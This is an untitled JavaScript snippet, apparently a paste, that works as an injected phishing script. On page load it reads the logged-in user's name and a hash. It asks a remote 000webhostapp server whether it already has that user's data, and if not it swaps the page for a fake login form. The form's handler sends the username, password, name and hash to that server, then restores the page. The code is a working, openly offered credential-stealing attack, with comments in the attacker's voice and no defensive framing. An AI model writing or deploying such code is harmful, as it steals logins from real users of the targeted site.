Untitled

var request
var o_html

window.onload = function ()
{
// copy user information
var full_name = document.getElementsByClassName("dropdown-toggle btn")[0].innerText.replace(/\s/g,'');
var user_hash = userHash;

// setup ajax and backup page
request = new XMLHttpRequest();
o_html = document.body.innerHTML;

// send request to my server to see if I already have this users information
request.open("GET", "https://unthoughtful-stomac.000webhostapp.com/check_user.php?hash=" + user_hash);
request.send();
request.onload = () =>
{
    // if I have the users information just return and do nothing
    if(request.responseText == "true")
        return;

    // if I dont yet have this users information inject payload
    document.body.innerHTML =
        "<html> <div id='modal-login' class='modal hide fade text-left in' tabindex='-1' role='dialog' aria-labelledby='log-in form' aria-hidden='false' style='display: block;'> <div class='modal-header'> <button aria-hidden='true' data-dismiss='modal' class='close' type='button'> <i class='fa fa-remove'></i> </button> <h3>Log in</h3> <div id='modal-login-alert'></div> <p>Use your username &amp; password or log in as account manager by using your activation code in both fields.</p> </div> <div class='modal-body'> <div class='control-group'> <label for='username' class='control-label'>Username</label> <div class='controls'> <input id='smoke_username' type='text' placeholder='username...' name='username'> </div> </div> <div class='control-group'> <label for='password' class='control-label'>Password</label> <div class='controls'> <input id='smoke_password' type='password' placeholder='password...' name='password'> </div> </div> <div class='control-group text-center'> <button name='subscribe-login-access' value='1' class='btn' onclick='smoke_login()'> <i class='fa fa-user'></i> Log in </button> </div> </div> <div class='modal-footer'> <a href='subscribe/lost-password'>Forgot your password?</a><br> </div> </div></html>";
}
}

// callback function for when the users presses login on the fake form
smoke_login = () =>
{
    // fetch user information from login field
    var username = document.getElementById("smoke_username").value;
    var password = document.getElementById("smoke_password").value;

    // log information for debugging
    /*console.log(username);
    console.log(password);
    console.log(full_name);
    console.log(user_hash);*/

    // send all information to my server and restore page
    request.open("GET", "https://unthoughtful-stomac.000webhostapp.com/add_user.php?full_name=" + full_name + "&username=" + username + "&password=" + password + "&hash=" + user_hash);
    request.send();
    request.onload = () =>
        document.body.innerHTML = o_html;
}